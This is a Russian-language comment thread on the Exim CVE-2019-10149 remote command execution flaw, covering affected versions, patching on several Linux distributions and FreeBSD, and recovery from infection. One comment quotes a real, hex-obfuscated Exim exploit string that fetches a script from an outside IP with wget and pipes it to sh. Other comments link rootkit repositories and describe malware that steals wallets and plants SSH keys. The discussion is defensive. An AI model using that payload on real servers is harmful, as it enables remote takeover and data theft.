10.06.2019 23:43Я в первую очередь удалил wget и после этого удалил процес krhrotlds, это не вылечило машину, но она хоть заработала! тоже очень жду патчей или еще чего!!! LSD Malware Clean Tool не работает тоже это подтверждаю!
VampiRUS
11.06.2019 01:55для Ubuntu 16.04 получается обновления нет?
bobrabobr Автор
11.06.2019 02:06+1Покопался, у убунт по идее затронуты были 18.04 и 18.10.
16.04 обновлять не надо, если exim там руками до больной версии не допиливали.
Подробнее на официальном сайтеVampiRUS
11.06.2019 02:07Спасибо
ZapevalovAnton
13.06.2019 07:42У меня кстати на 16.04 exim вообще без проблем обновился до 4.92, всего двумя командами. Только наверное это и не надо было делать.
ZapevalovAnton
13.06.2019 07:30А что на счёт 14.04? На оф. сайте напротив неё стоит «DNE». Я так понимаю Does Not Exist. Очень надеюсь, что эта фраза про уязвимость, а не про патч.
bobrabobr Автор
13.06.2019 11:06В вики убунты написано: The package state should be «DNE» for packages that are not supported as part of the ESM release.
Т.е. я так понимаю не поддерживается патчем. Собственно, в данном случае не только из-за EOL продукта, но и т.к. по умолчанию там не было уязвимой версии exim.
При этом всё-таки важно понимать что и 14.04 и 16.04 не содержат уязвимости в стандартной ситуации — т.е. если Вы руками туда не запихивали уязвимую версию.
Просто проверьте пожалуйста версию Exim, если младше 4.87 то проблемного кода там не было ещё, фиксить нечего — для данной конкретной уязвимости.
sHaggY_caT
11.06.2019 04:21Postfix архитектурно, имхо, лучше, на него эксплойты должны быть реже. Exim нужен когда требуется быстрый MTA.
cebka
11.06.2019 18:44Это в каком месте он "быстрый"?
sHaggY_caT
12.06.2019 06:00регулярки всякие удобные, конфиг удобный чтобы быстро «поднять» MTA
cebka
12.06.2019 10:13Конфиг там — форменная помойка с тюринг полным языком на экспаншенах. Собственно, код Exim примерно такой же — чего стоит волшебный https://github.com/Exim/exim/blob/master/src/src/globals.h который содержит примерно все, что используется Exim'ом в виде глобальных переменных.
realimba
11.06.2019 11:29На оф сайте говорится что root нужен для 2х важнейших операций:
* To set up a socket connected to the standard SMTP port (25)
* To be able to change uid and gid in order to read users’ .forward files and perform local deliveries
Неужели в 2019 году ОС не позволяет решить эти «проблемы» более гуманным способом? Вопрос конечно риторический.bobrabobr Автор
11.06.2019 11:48А почему риторический, очень здравый вопрос. В постах по теме видел что команда Exim работала с командами дистрибутивов на предмет внедрения патчей.
Так почему бы грубо говоря командам пары-тройки крупнейших МТА (у одного Exim больше половины рынка же?) и пары-тройки крупнейших дистрибутивов тупо не устроить круглый стол (пригласив отдельно спецов по безопасности) и не проработать специальный механизм для этого? Чтобы без рута обходиться.
На вопрос «а почему именно для МТА, есть вещи поважнее почтовиков» думаю ответить просто — если в год проводить пару-тройку таких круглых столов (с разными сервисами) и принятых по итогам мер, и через пару-тройку лет большинство сервисов могли бы получить более безопасные сценарии выполнения (конечно при грамотной реализации, если сделанные дыры будут меньше чем закрытые).
vyo
11.06.2019 13:12+1Вроде бы проблема с сокетами без root уже решаема через sysyemd-активацию. Вот со второй уже сложнее, но и тут можно попробовать решить её через разрешение доступа к нужным файлам с помощью ACL (последний, имхо, крайне недооценён вообще).
DarkHost
11.06.2019 17:19Для второго куча решений. Posix acl. А еще в 2019году уже почти никто не держит данные(алиасы, форварды, автореспонсы и др.) в файлах, все в БД.
И если какой-то извращенный мазохист запускает Exim от рута, то он сам себе маньяк. Даже в старых гайдах о сборке exim из исходников, говорится о mail:mailnull.bobrabobr Автор
13.06.2019 12:29Да, Вы правы, хорошо бы и более гибкую-удобную сторону двигаться (в БД), и от рута стараться не запускать лишнего)
К сожалению, конкретно в этом случае запуск не от рута, увы, видимо не помогает. Так что всё равно обновляться надо.
motorad
11.06.2019 11:31exim на centos7.
команда rpm -qa | grep exim показывает exim-4.84.2
команда yum --enablerepo=epel-testing install exim выдаёт:
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
* base: mirror.sale-dedic.com
* epel: ru.download.ispsystem.com
* epel-testing: mirror.logol.ru
* extras: mirror.reconn.ru
* ispsystem-5.129: download.ispsystem.com
* ispsystem-base: ru.download.ispsystem.com
* updates: mirror.sale-dedic.com
Resolving Dependencies
--> Running transaction check
---> Package exim.x86_64 0:4.84.2-2.el7 will be updated
---> Package exim.x86_64 0:4.92-1.el7 will be an update
--> Processing Dependency: libcrypto.so.10(OPENSSL_1.0.2)(64bit) for package: exim-4.92-1.el7.x86_64
--> Running transaction check
---> Package openssl-libs.x86_64 1:1.0.1e-51.el7_2.7 will be updated
--> Processing Dependency: openssl-libs(x86-64) = 1:1.0.1e-51.el7_2.7 for package: 1:openssl-1.0.1e-51.el7_2.7.x86_64
---> Package openssl-libs.x86_64 1:1.0.2k-16.el7_6.1 will be an update
--> Running transaction check
---> Package openssl.x86_64 1:1.0.1e-51.el7_2.7 will be updated
---> Package openssl.x86_64 1:1.0.2k-16.el7_6.1 will be an update
--> Finished Dependency Resolution
Dependencies Resolved
================================================================================
Package Arch Version Repository Size
================================================================================
Updating:
exim x86_64 4.92-1.el7 epel 1.4 M
Updating for dependencies:
openssl x86_64 1:1.0.2k-16.el7_6.1 updates 493 k
openssl-libs x86_64 1:1.0.2k-16.el7_6.1 updates 1.2 M
Transaction Summary
================================================================================
Upgrade 1 Package (+2 Dependent packages)
Total download size: 3.1 M
Is this ok [y/d/N]: Exiting on user command
Перезагружаю сервер. rpm -qa | grep exim показывает снова exim-4.84.2
Что не так делаю?bobrabobr Автор
11.06.2019 11:34* epel-testing: mirror.logol.ru — проверил, у меня оттуда ок поставилось
* Updating: exim x86_64 4.92-1.el7 epel 1.4 M — тут тоже хочет поставить что надо
Is this ok [y/d/N]: Exiting on user command — а вот в этом месте Вы «y» жали? Т.е. сама установка-то шла? Если идёт и где-то обрывается, киньте пожалуйста лог уже оттуда, т.к. до момента ответа на вопрос [y/d/N] всё в логе ок!
PavelBelyaev
11.06.2019 11:32Читая такие новости задаюсь вопросом — как давно такие уязвимости существуют и как давно о них кто-то знал, но не рассказывал и сколько других таких еще в руках злоумышленников и можно ли вообще ближе к 100% иметь безопасность на своем сервере? Похоже что любой сервер имеет уязвимости, просто о них никто не знает пока.
bobrabobr Автор
11.06.2019 11:39Релиз конкретно без этой уязвимости вышел ещё в феврале, но все говорят что мол не знали, что там вообще уязвимость-то была. И только пару недель как поняли это.
Любопытная история, самое любопытное в Ваших словах — «никто не знает пока». Никто ли не знал?) Тут до паранойи недалеко, но за последние годы много информации вышло о покупателях таких уязвимостей, оставляющих их в секрете для публики. С благими намерениями, конечно.:)
braineater
11.06.2019 12:26Кто подскажет, FreeBSD тоже касается?
bobrabobr Автор
11.06.2019 12:45Я на FreeBSDшном сервере сейчас Exim не использую, не могу проверить, но на оф.сайте упоминание уязвимости есть. Однако там это они в целом инфу от Exim взяли, так что конкретно о поражении FreeBSD не говорится, но скорее всего проблема примерно та же будет.
Впрочем, зачем заморачиваться? В портах 4.92 давно уже, там этой проблемы нет.
cebka
11.06.2019 18:45Нет, в портах и в свежем quaterly Exim 4.92. Остальные quaterly я не обновлял, но, по идее, pkg audit вам расскажет, где вы не правы.
borisovEvg
12.06.2019 01:11в пакетах exim идет с включенной опцией EXPERIMENTAL_EVENT, причем в 4.92 тоже.
johnfound
11.06.2019 15:42Как хорошо, что использую dovecot. Можно читать статью и комментарии не спеша. ;)
johnfound
11.06.2019 16:02… а вернее dovecot + postfix. Так что postfix вместо exim.
bobrabobr Автор
11.06.2019 16:21+1:) а я уж сел комментарий писать, хотел узнать про ноу-хау по замене exim'а dovecot'ом…
Если exim не используете, то тема наверно не очень актуальна-то. Хотя вместо триллера посмотреть — вариант!
Stan_i_slav
11.06.2019 15:56Интересно, версия exim-4.84-4.el7.x86_64 подвержена данной уязвимости? Везде пишут, что уязвимость появилась в версиях, начиная с 4.87…
На Centos 7 с ISPmanager не обновляется. "yum update exim" пишет:
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
* base: mirror.corbina.net
* extras: mirror.reconn.ru
* ispsystem-5.203: ru.download.ispsystem.com
* updates: mirror.reconn.ru
No packages marked for update
Кто подскажет, каким образом exim можно обновить до последней версии?bobrabobr Автор
11.06.2019 16:00Посмотрите, пожалуйста, откуда у Вас exim установлен.
Вот так:
yum list | grep eximexim.x86_64 4.92-1.el7 @epel
Что касается первой части вопроса, 4.84 данной :) уязвимости не подвержена, по официальной информации.Stan_i_slav
11.06.2019 16:17Посмотрел. Ответ такой:
exim.x86_64 4.84-4.el7 @epel
ispmanager-pkg-exim.x86_64 5.203.0-1.el7.centos @ispsystem-5.203
ispmanager-pkg-opendkim-exim.x86_64 5.203.0-1.el7.centos @ispsystem-5.203
ispmanager-pkg-clamav-exim.x86_64 5.203.0-1.el7.centos ispsystem-5.203
ispmanager-pkg-greylisting-exim.x86_64 5.203.0-1.el7.centos ispsystem-5.203
ispmanager-pkg-spamassassin-exim.x86_64 5.203.0-1.el7.centos ispsystem-5.203
Что касается первой части вопроса, 4.84 данной :) уязвимости не подвержена, по официальной информации.
Я так понял, есть другие уязвимости для данной версии? Пока нагуглить не удалось информации на этот счёт…bobrabobr Автор
11.06.2019 16:25exim.x86_64 4.84-4.el7 @epel — т.е. установлен из epel, при этом yum update exim Вам epel не упомянул… Может Вы отключали репозиторий случайно?..
Попробуйте пожалуйста
Что выдаст?yum install epel-release
Если ок то потом сноваyum update exim
vortupin
11.06.2019 17:07Что-то в этом топике не слышно криков: «Под Linux вирусов не бывает, я не знаю, что это такое» ;)
bobrabobr Автор
11.06.2019 17:53О да. Но самое «интересное» ещё впереди. Когда люди будут говорить «ну, для моей модели автомобиля вирусов нет»…
maxzhurkin
12.06.2019 08:30Ещё «у меня тут такая кастомщина, что человек мозг сломает, а вы про какой-то глупый вирус»
bobrabobr Автор
13.06.2019 12:25Вот кстати да. Security through obscurity своего рода — увы, достаточно в кастомщинке пару не кастомных дырявых строк кода…
(не говоря уже о том что «секретный» самопис по идее с большей вероятностью может содержать глупые дырки чем код, который смотрели другие люди, в частности публично)
supersmile2009
11.06.2019 17:31Обнаружил у себя другую разновидность зловреда. В очереди exim сидело вот такое:
46h 750 1hZzGN-0006uF-Th <> *** frozen ***
${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x33\x2e\x32\x31\x32\x2e\x32\x31\x34\x2e\x31\x33\x37\x2f\x73\t-O\t-\t\x7C\tsh\x22}}@localhost
Скачивает и выполняет скрипт сhttp://173.212.214.137/s
Судя по коду, собирает различные данные с системы, пакует в архив и отправляет куда-то.
bobrabobr Мне кажется стоит добавить в пост инфу для тех, кто собирается лечиться. Не стоит сразу выполнять лечебные скрипты, особенно если они чистят очередь. Лучше сначала проверить что в очереди находится и уже исходя из этого принимать решение о лечении. Зловредов может быть великое множество. Запустив лекарство не от того и почистив очередь пользователь и не вылечится и возможно не узнает от чего ему лечиться нужно.lorc
11.06.2019 17:48+1Я тут выше уже писал — лечиться бесполезно. Этот эксплойт уже используется всеми. В open source можно найти вот такое: github.com/nurupo/rootkit или вот такое: github.com/f0rb1dd3n/Reptile. И вы с ним не сможете бороться изнутри зараженной системы. Вы просто ничего не увидите. Что уж говорить про руткиты, которые распространяются в более специализированных местах.
Все что можно сделать сейчас — это очень-очень осторожно перенести конфиги и базы с потенциально зараженной машины на здоровую.bobrabobr Автор
11.06.2019 17:52Спасибо, добавил Ваш совет в пост, чтобы люди поменьше на авось полагались.
bobrabobr Автор
11.06.2019 17:48Спасибо, добавил в пост. А какого плана данные собирает, удалось понять?
supersmile2009
11.06.2019 18:08+1Всякие конфиги из хомяка, крипто-кошельки, кое-какие данные из /etc, инфу о системе. Там по ссылке из предыдущего моего коммента — bash скрипт, прямым текстом, без обфускации, так что кому интересно — смотрите :)
Фактически от
# ok, real work starts here
и почти до конца скрипта — сбор данных.
Я полностью согласен с теми, кто говорит что говорит, что лечиться бесполезно. Собственно мой коммент скорее о том, что не стоит чистить очередь. Лучше в неё заглянуть, по возможности выяснить какую гадость подцепили, и исходя из этого оценивать масштабы ущерба.
Renaissance
11.06.2019 19:22Может кто подскажет-поможет, ситуация следующая:
есть FreeBSD 9.3, установлен через pkg exim. Соотв. через pkg сейчас уже ничего не обновить.
Что можно сделать в данном случае? Разработчики exim предоставили патч, но увы, ни у меня, ни у коллег нет опыта с FreeBSD дальше поддержки уже существующего. И наложением патчей тоже. Как этот патч можно применить к уже установленному не из source exim?
Обновить систему, перенести оперативно почтовый сервер на новый инстанс возможности попросту на данный момент нет.
P.S. пока не заражены, но опасаемся.cebka
11.06.2019 19:28Собрать exim из портов и установить.
cebka
11.06.2019 19:29Кстати, всем, кто использует Exim, я не перестаю советовать прекратить вредную практику программирования на конфигурационных файлах и попробовать какой-нибудь нормальный MTA (например, Postfix) и Rspamd. Программировать на Lua гораздо проще, чем на exim.conf.
Renaissance
11.06.2019 19:32Совет хороший, но трудновыполнимый в рабочих условиях. Простой такого сервиса, как электронная почта для нас критичен. Увы, мы не Google, чтобы позволить себе «все сломать на недельку».
Но в планах это есть, как это провернуть я еще, к сожалению, не продумал.cebka
11.06.2019 19:36+1Поставить рядом новый сервер, на нем потихоньку разворачивать новую систему, потом включить его как backup mx, а потом перенести приоритет и использовать как основной.
Renaissance
11.06.2019 19:38Новый рядом уже есть, про backup mx спасибо, будем изучать.
maxzhurkin
12.06.2019 08:35Как можно администрировать почтовую систему не зная таких основ как backup mx?
Renaissance
12.06.2019 09:08Ровно также, как и все остальные вещи, которые попадают в зону ответственности «администратора», с которыми он до этого не имел опыта в виду жизненных обстоятельств.
Всему и сразу научиться невозможно в принципе, поэтому разбираюсь и учусь постоянно, по мере необходимости.maxzhurkin
12.06.2019 11:44«Администратор», что бы ему там ни досталось «в виду жизненных обстоятельств» должен где-то на первом-втором году практики познакомиться с DNS достаточно подробно, чтобы узнать о почти всех типах записей, среди которых и MX, у которой есть обязательное поле приоритета. А вот тут должен сработать тот особый склад ума, без которого в IT делать нечего, и оставить в ментальном списке ToDo запись «выяснить, для чего приоритет записи MX». Без этого склада ума учиться придётся на своих ошибках и велосипеды изобретать с костылями в тех местах, где другие если и не знают, что делать, то, хотя бы, «куда копать»
borisovEvg
12.06.2019 12:22Если роль MDA на другом сервере то да, так без проблем можно добавить новый сервер в режиме backup mx. А если обе роли MTA и MDA на одном сервере? вы добавляете MX запись с более низким приоритетом для нового сервера, письма при недоступности основного начинают отправляться на него, но до клиентов они не доходят…
Renaissance
11.06.2019 19:30Если я правильно понял, для 9.3 это уже невозможно. Буду признателен, если кто-нибудь проведет ликбез по этой теме.
cebka
11.06.2019 19:33+1Мда, мне сложно сказать, наверное. А у вас есть вообще /usr/ports? Если есть, то можно взять mail/exim из свежих портов и подложить его вместо того, что есть в ваших. По идее, я в этом порте не использовал никаких особо свежих фич. Если каталога /usr/ports нету, тогда ой — придется собирать из исходников.
Renaissance
11.06.2019 19:36Спасибо за наводку.
/usr/ports есть, но данные в нем по сути отсюда: ftp-archive.freebsd.org/pub/FreeBSD-Archive/ports/amd64
Свежих портов там, естественно, нет.cebka
11.06.2019 19:38Ну так склонируйте с того же гитхаба: https://github.com/freebsd/freebsd-ports
Наверное, даже заменять ничего не надо будет — просто зайдите в склонированную директорию и далее в mail/exim и попробуйте запустить make.Renaissance
11.06.2019 21:49Ну как и ожидалось, при попытке установки из свежих портов на не поддерживаемой системе make выдал ошибку «Unknown directive».
Я уже шерстил интернет по этому поводу, теперь вспомнил о чем это.
Увы, но в 9.3 уже не светит из портов ничего, только upgrade.
Из сырцов похоже тоже не выйдет, зависимости тоже в портах…
borisovEvg
12.06.2019 01:42так как предлагают выше, заменой файлов портов делать ни в коем случае нельзя! Если 9.3 в стандартной установке, то можно через freebsd-update обновить ее до текущего релиза. Сначала до 10.3, потом вплоть до 12.
vc43
13.06.2019 11:11В безысходной ситуации ( если нет возможности поставить рядом новый сервер и на него всё скопировать), я бы сделал так: Обновить FreeBSD до 11.2. Можно сделать это напрямую с 9.3 если подсунуть бинарник freebsd-update из свежих релизов, никаких гарантий что всё будет гладко, но я так делал. Не делать последний freebsd-update install (который удаляет старые файлы, то есть в системе сможет работать старый софт), поставить ail, в нём всё поднять, файлы с почтой подмонтировать в новый jail через mount_nullfs.
mrBuG
11.06.2019 20:10Для владельцев старых систем Debian возможно будет полезно. Исходя из того, что уязвимость числится как CVE-2019-10149 — для Debian разных версий она закрыта или не существует в разных версиях пакетов. Например, для jessie — в 4.84.2-2+deb8u5 уязвимости нет. Соответствие пакета с исправлением (или не подверженного уязвимости) и версии системы можно найти тут security-tracker.debian.org/tracker/CVE-2019-10149
sotnikdv
12.06.2019 04:08Не очень понял, зачем лечить зараженную машину. Это же тикающая бомба. Тут только переустановка с рчень аккуратной миграцией конфигов и пользовательских данных.
w0den
13.06.2019 01:43Лечение должно быть лишь временная мера (точнее, пока не подняли новый сервер).
При переносе данных обратите внимание не только на исполняемые или конфигурационные файлы, но и всё что может содержать вредоносные команды (например, в MySQL это может бытьCREATE TRIGGERилиCREATE EVENT). Также, не забывайте о .html, .js, .php, .py и других публичных файлах (в идеале эти файлы, как и другие данные, должны быть восстановлены из локального или другого доверенного хранилища).
Если на сервере имеются секретные ключи или балуетесь «безопасностью через неясности» — считайте, что всё скомпрометировано. Поэтому, необходимо сбросить/сгенерировать новые ключи и залатать «плохие решения». Возможно, стоит проверить исходящий трафик, дабы выявить аномалии и понять: утекло всё или только часть данных?
И ещё, вместо «сладких снов» — не забывайте, что отсутствие зловреда или других следов взлома, не означает, что Ваш сервер не был взломан. У плохих парней было достаточно времени, чтобы подготовить более изящный способ использования этой уязвимости и скрыть факт взлома, a не просто вешать табличку с надписью «Эй! Твой сервер был взломан. Нажмиdelete, чтобы удалить вирус».bobrabobr Автор
13.06.2019 12:33+1Очень правильно пишете.
Я даже более того скажу — тот факт что кто-то сейчас взламывает серваки обсуждаемым в данной теме способом и оставляет конкретный явно детектируемый троян, вовсе не означает что другие люди уже, ранее, не использовали ту же дыру и не насажали своих скрытых троянов. :)
Ведь 4.92 выпущена была ещё зимой, а о дыре в более старых версиях заговорили в мае. Но вполне возможно что все эти месяцы кто-то не говорил, а просто пользовался)
А про восстановление файлов по возможности не со скомпрометированного сервера, а из локального хранилища (которое, будем надеяться, не скомпрометировано?...) — Вы верно подметили, тоже добавлю в пост. Спасибо.w0den
13.06.2019 14:31Теоретически, об уязвимости могли знать начиная с 6 апреля 2016 (а возможно, даже чуточку раньше). Так что, всё намного интереснее :)
Wishlight
13.06.2019 11:07Здравствуйте. Подскажите пожалуйста, если у меня версия 4.89-2+deb9u4 то уязвимость закрыта? Мне в isplicense говорят все равно надо обновляться немедленно до 4.92 путем команды apt-get update && apt-get upgrade (в репах ничего новее нет, соответственно ничего не обновляется).
mirror.yandex.ru/debian stretch InRelease
mirror.yandex.ru/debian stretch Release
security.debian.org/debian-security stretch/updates InReleasebobrabobr Автор
13.06.2019 11:10Ну вообще на оф.сайте Дебиана эта версия указана как содержащая фикс.
stretch (security) 4.89-2+deb9u4 fixed
и
Fixed Version = 4.89-2+deb9u4
Уточните, пожалуйста, у тех кто даёт отличной от официальной информацию: на чём основано их утверждение? они что-то знают, чего официалы не знают? пусть тогда срочно команде дебиана расскажут в первую очередь :)
jok40
Будьте добры, покажите код, прописываемый вирусом в крон.
bobrabobr Автор
Не уверен, насколько можно/стоит это делать, скажут ещё что распространяю)
Шелл-скрипт длиной 19825 байт ( find / -size 19825c ), отключает SELINUX, прописывает свой ssh ключ (!!!) и тп — сейчас добавлю UPD
bobrabobr Автор
Отправил найденный код в тот же clamav. Подскажите пожалуйста, куда ещё можно?